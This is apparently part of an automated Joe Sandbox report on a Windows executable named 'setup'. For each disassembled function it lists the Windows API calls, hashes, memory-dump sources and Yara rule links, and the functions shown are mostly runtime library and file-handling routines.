Opcode ID: d4507ab12295caffdb1a5b56ee6c68e77ce02312a28c8003e3a095d9da31016d
Instruction ID: 1b74393f6b775553d4c4dd2a655edc9bb74f27945f11a31ce6d6ce6169c0eff7
Opcode Fuzzy Hash: d4507ab12295caffdb1a5b56ee6c68e77ce02312a28c8003e3a095d9da31016d
Instruction Fuzzy Hash: 7F115131920204EBDF20EF5AC804A6A7FACEB06771F14C53FE46A85690D7399D409F5A

Function 004BA4F4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,004B3713,00000000,00000000,?,004BA49B,004B3713,00000000,00000000,00000000,?,004BA698,00000006,FlsSetValue), ref: 004BA526
GetLastError.KERNEL32(?,004BA49B,004B3713,00000000,00000000,00000000,?,004BA698,00000006,FlsSetValue,004C7348,004C7350,00000000,00000364,?,004B9077), ref: 004BA532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004BA49B,004B3713,00000000,00000000,00000000,?,004BA698,00000006,FlsSetValue,004C7348,004C7350,00000000), ref: 004BA540

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: b9b5742829cf639f21e90615260fed198dd2bc8af29ecdcaa71a394707ad62c9
Instruction ID: f01b253760d02736a8dc97f683d7c9eee76f35cf391c993e4742e26c8568897f
Opcode Fuzzy Hash: b9b5742829cf639f21e90615260fed198dd2bc8af29ecdcaa71a394707ad62c9
Instruction Fuzzy Hash: 4C01F732611222BBC7318F6D9C44EE77B58AF45BA27144532F906D3240DB29DB21C6FA

Function 004BB188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 004B8FA5: GetLastError.KERNEL32(?,004D0EE8,004B3E14,004D0EE8,?,?,004B3713,00000050,?,004D0EE8,00000200), ref: 004B8FA9
Part of subcall function 004B8FA5: _free.LIBCMT ref: 004B8FDC
Part of subcall function 004B8FA5: SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B901D
Part of subcall function 004B8FA5: _abort.LIBCMT ref: 004B9023

Part of subcall function 004BB2AE: _abort.LIBCMT ref: 004BB2E0
Part of subcall function 004BB2AE: _free.LIBCMT ref: 004BB314

Part of subcall function 004BAF1B: GetOEMCP.KERNEL32(00000000,?,?,004BB1A5,?), ref: 004BAF46

_free.LIBCMT ref: 004BB200
_free.LIBCMT ref: 004BB236

Strings

L, xrefs: 004BB22A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: L
API String ID: 2991157371-1778183444
Opcode ID: a556e4e4231403cc0500943dad3059f262fdf076f014cf74dc1b139c7a650489
Instruction ID: 28cb5fecb8b3bcb56f85defcb6cd745da09783b6ef9de5125ca730b4ba960702
Opcode Fuzzy Hash: a556e4e4231403cc0500943dad3059f262fdf076f014cf74dc1b139c7a650489
Instruction Fuzzy Hash: DA31E731900204AFDB14EFAAC445BEE77E5EF40324F25409FE4145B391EBB95D41CBA8

Function 00499F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,0049CC94,00000001,?,?,?,00000000,004A4ECD,?,?,?), ref: 00499F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,004A4ECD,?,?,?,?,?,004A4972,?), ref: 00499F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,0049CC94,00000001,?,?), ref: 00499FB8

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 438253183372ad10396a76250a530fd04f753c10f5a5cfde86e08d34ff512dc4
Instruction ID: cfe657d1e70118248fabf1b1a64f97960371d7db5e09b56a27e691985b30beca
Opcode Fuzzy Hash: 438253183372ad10396a76250a530fd04f753c10f5a5cfde86e08d34ff512dc4
Instruction Fuzzy Hash: ED31D2712083059BDF108F18D948B6BFFA8EB91711F04857EF8459B285CB79DD48CBAA

Function 0049A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A261
GetLastError.KERNEL32(?,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A27E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: dd67a62ad5957ec62ab7da31171ca824f4dde3922690a4875a46c8a58e533808
Instruction ID: 722f650083ace7073a1b58eb4d98b3dd98480d34bda87ae1e50f715812df083c
Opcode Fuzzy Hash: dd67a62ad5957ec62ab7da31171ca824f4dde3922690a4875a46c8a58e533808
Instruction Fuzzy Hash: 0D01D231140214A6DF32AB665C09BEF3B48AF06B86F0444B7F800D5351CB6EDA6186EF

Function 004BAFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 004BB019

Strings

, xrefs: 004BB05E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 16ae5130d4e2b578553e83855d5af4ce434da267fe19910a10465ad0d1f6b4e4
Instruction ID: efc74643ba12a0d09556d5a9495576a3b5968c6123e5c5406e6c8d58720989cd
Opcode Fuzzy Hash: 16ae5130d4e2b578553e83855d5af4ce434da267fe19910a10465ad0d1f6b4e4
Instruction Fuzzy Hash: 0841477050434C9EDF218E288C94BFBBBA9DB05304F1404EEE59A87242D3799E46CFB4

Function 004BA72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 004BA79D

Strings

LCMapStringEx, xrefs: 004BA73D, 004BA747

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: d97b1dd9be7a19cef9481918d62e7bcccd24d615503492517277c3285540f96d
Instruction ID: b35b7a0adcbe01d23c7e25d7976a1d070e6e761afc4e03949e8eabaa4e6cf160
Opcode Fuzzy Hash: d97b1dd9be7a19cef9481918d62e7bcccd24d615503492517277c3285540f96d
Instruction Fuzzy Hash: 6C01253650420CBBCF025FA1DD05EEE7F76EF08720F018159FE1425160CA3A8931EB9A

Function 004BA6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,004B9D2F), ref: 004BA715

Strings

InitializeCriticalSectionEx, xrefs: 004BA6E5

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: aa9188c1da0f018fd49d939b3b637e6cb7c23d331db07b3d95cf8dee771fdd62
Instruction ID: 4f215c1ffe4689814d37bc8f6d694475c9db1915c5cff9db914db89ed235c4ee
Opcode Fuzzy Hash: aa9188c1da0f018fd49d939b3b637e6cb7c23d331db07b3d95cf8dee771fdd62
Instruction Fuzzy Hash: E7F0E93564520CBBCF116F61CC05EDE7F71EF44720B50806AFC1916260DE759E20EB99

Function 004BA56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004BA5AE

Strings

FlsAlloc, xrefs: 004BA58A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 54dbefbde0b5a936b2971e3630dcaaf2d9ab114d1c53f4ee1a4a7d060e7b8619
Instruction ID: e716a4aa937b4c3b44726578fad56634439bfd2c57fd1cf90016a6a04dfcfe8b
Opcode Fuzzy Hash: 54dbefbde0b5a936b2971e3630dcaaf2d9ab114d1c53f4ee1a4a7d060e7b8619
Instruction Fuzzy Hash: BCE05570745228BBC2206F628C06EEEBB64CB25B21B40406FFC0417240CE7C5F1296EE

Function 004B329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 004B32AF

Strings

FlsAlloc, xrefs: 004B329E, 004B32A8

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 34f296b1354ff1a8d9b20cb092efa4bcb906b5f975686efce42935e16ffc89b0
Instruction ID: fb06f670d77c10716c86e1c0593928544c6e76b62fd991d32a02993b1c05494b
Opcode Fuzzy Hash: 34f296b1354ff1a8d9b20cb092efa4bcb906b5f975686efce42935e16ffc89b0
Instruction Fuzzy Hash: C9D02B257807347A81503AC76C03FEE7E048701FBBF450167FE0C1A282846D598003DD

Function 004AE1F9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE20B

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Strings

3Ro, xrefs: 004AE1F9, 004AE205

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: fc2e8a451e83fb95fcb784bbe766b947693834b66d505e0208d79f9fc0a74df1
Instruction ID: 82ecaf1eef0e719430a04cb562004ff7b74dce8f0cec2187c5df87bb1fb4b6f8
Opcode Fuzzy Hash: fc2e8a451e83fb95fcb784bbe766b947693834b66d505e0208d79f9fc0a74df1
Instruction Fuzzy Hash: 73B0929666A0016D320811026A06E37022CC491B50730802FB216D40809A884D06403E

Function 004BB350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 004BAF1B: GetOEMCP.KERNEL32(00000000,?,?,004BB1A5,?), ref: 004BAF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,004BB1EA,?,00000000), ref: 004BB3C4
GetCPInfo.KERNEL32(00000000,004BB1EA,?,?,?,004BB1EA,?,00000000), ref: 004BB3D7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 91f5fa85d7b0b6a996ef5a63c452d7555553822302d3f007d4a313bb2b3e0110
Instruction ID: 3e65693ae516e8fe940aa172907fc57db0e284de29600cbe5d37f861ee2cc8b7
Opcode Fuzzy Hash: 91f5fa85d7b0b6a996ef5a63c452d7555553822302d3f007d4a313bb2b3e0110
Instruction Fuzzy Hash: 79510270A002059EDB209F72C8806FBBBE5FF41314F18846FD49687252D7BD9946CBE9

Function 00491385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00491385

Part of subcall function 00496057: __EH_prolog.LIBCMT ref: 0049605C

Part of subcall function 0049C827: __EH_prolog.LIBCMT ref: 0049C82C
Part of subcall function 0049C827: new.LIBCMT ref: 0049C86F
Part of subcall function 0049C827: new.LIBCMT ref: 0049C893

new.LIBCMT ref: 004913FE

Part of subcall function 0049B07D: __EH_prolog.LIBCMT ref: 0049B082

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e7e75e7436c9d898a2b9d939f85260daba566480d4b3d5566e5e7c23b976df60
Instruction ID: a00513e47bc2f74e383834dbd24fb2ef81ef44ceb7560ff1a8019687de1c467b
Opcode Fuzzy Hash: e7e75e7436c9d898a2b9d939f85260daba566480d4b3d5566e5e7c23b976df60
Instruction Fuzzy Hash: AB4146B0805B409EEB24DF7A84859E7FBE5FB29304F404A3ED5EE83282CB366554CB15

Function 00491380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00491385

Part of subcall function 00496057: __EH_prolog.LIBCMT ref: 0049605C

Part of subcall function 0049C827: __EH_prolog.LIBCMT ref: 0049C82C
Part of subcall function 0049C827: new.LIBCMT ref: 0049C86F
Part of subcall function 0049C827: new.LIBCMT ref: 0049C893

new.LIBCMT ref: 004913FE

Part of subcall function 0049B07D: __EH_prolog.LIBCMT ref: 0049B082

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6cfe887d98156d283c9945bc063b1199c30ede4f0d8eb53f9730ea1c5139c95c
Instruction ID: e293bc47a2ebd4898220873acf7424cad759ed68f79e33396ca2018406cd213a
Opcode Fuzzy Hash: 6cfe887d98156d283c9945bc063b1199c30ede4f0d8eb53f9730ea1c5139c95c
Instruction Fuzzy Hash: 074136B0805B409EE724DF7A8485AE7FAE5FB29304F404A6ED5EE83282CB366554CB15

Function 0049971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00499EDC,?,?,00497867), ref: 004997A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00499EDC,?,?,00497867), ref: 004997DB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cd0c8dad0ffe19332d443028abfdcc36846287485f8b2cd0eaf8402827659b64
Instruction ID: 42e9a5eb9b591c65b1afa63019020e829730f94e8d982124d8d168519c45a5cf
Opcode Fuzzy Hash: cd0c8dad0ffe19332d443028abfdcc36846287485f8b2cd0eaf8402827659b64
Instruction Fuzzy Hash: E22128B1000744EFDB308F99C885FA7BBE8EB49768F00493EF5E582291C779AC458B65

Function 00499D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00497547,?,?,?,?), ref: 00499D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00499E2C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 0dfdf106a255bcb72fe9fbc1a14c4d800b3750297d718d103a175969dc9b0b05
Instruction ID: 9bce17b08daef654103f5459b1a56d57a178d7dca77c7a64ad081c0456f7e4d9
Opcode Fuzzy Hash: 0dfdf106a255bcb72fe9fbc1a14c4d800b3750297d718d103a175969dc9b0b05
Instruction Fuzzy Hash: 3121D8311442469FDB14DE69C491EABBFE4AF56704F044A2EB4C187641D32DEE0CDB65

Function 004BA458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 004BA4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 004BA4C5

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 9967e51451ae33c8e8147f8f9e726f5d4179b446f3a1b8663afd7ad4dcdea6b8
Instruction ID: 54a8f3206c14875600e875da66708a1ca3e891aad2fcdfd72201faa8b66be128
Opcode Fuzzy Hash: 9967e51451ae33c8e8147f8f9e726f5d4179b446f3a1b8663afd7ad4dcdea6b8
Instruction Fuzzy Hash: 02110A33A111219B9B25DE29EC44CEB73A59B803207564222FD15EB354EB78DC51C6EA

Function 00499B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00499B35,?,?,00000000,?,?,00498D9C,?), ref: 00499BC0
GetLastError.KERNEL32 ref: 00499BCD

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
